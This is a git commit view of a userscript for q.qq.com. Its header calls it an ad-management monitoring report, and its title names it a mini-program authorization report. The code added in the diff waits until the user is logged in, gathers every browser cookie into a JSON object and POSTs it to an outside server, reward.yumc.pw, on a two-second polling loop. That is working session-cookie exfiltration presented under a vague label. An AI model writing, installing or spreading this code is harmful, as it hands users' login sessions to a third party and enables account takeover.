1
0
Fork 0

更新 'qq/q.user.js'

master
502647092 2020-10-10 02:08:05 +00:00
parent 9324859973
commit 625ae5ade3
1 changed files with 15 additions and 9 deletions

View File

@ -1,7 +1,7 @@
// ==UserScript==
// @name QQ小程序授权上报
// @namespace https://qq.yumc.pw/
// @version 0.1
// @version 0.2
// @description report ad manage monitoring!
// @author MiaoWoo
// @match http*://q.qq.com
@ -9,22 +9,28 @@
// ==/UserScript==
(function () {
'use strict';
fetch('https://q.qq.com/pb3/GetPreCacheUrl')
.then(r => r.json())
.then(res => {
'use strict'
var taskId = undefined
async function reportQCookie() {
let path = location.hash.substr(1)
if (path == '/ad/manage' || path == '/home') {
let res = await fetch('https://q.qq.com/pb3/GetPreCacheUrl').then(r => r.json())
if (res.code == 0) {
clearInterval(taskId)
let cookies = document.cookie.split(';').map(s => s.trim().split('=', 2)).reduce((pre, cur, index) => {
pre[cur[0]] = cur[1]
return pre
}, {})
fetch('https://reward.yumc.pw/callback/qcookie', {
let report = await fetch('https://reward.yumc.pw/callback/qcookie', {
method: "POST",
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(cookies)
})
}).then(r => r.json())
console.log('小程序Cookie上报完毕', report)
}
})
})();
}
}
taskId = setInterval(reportQCookie, 2000)
})()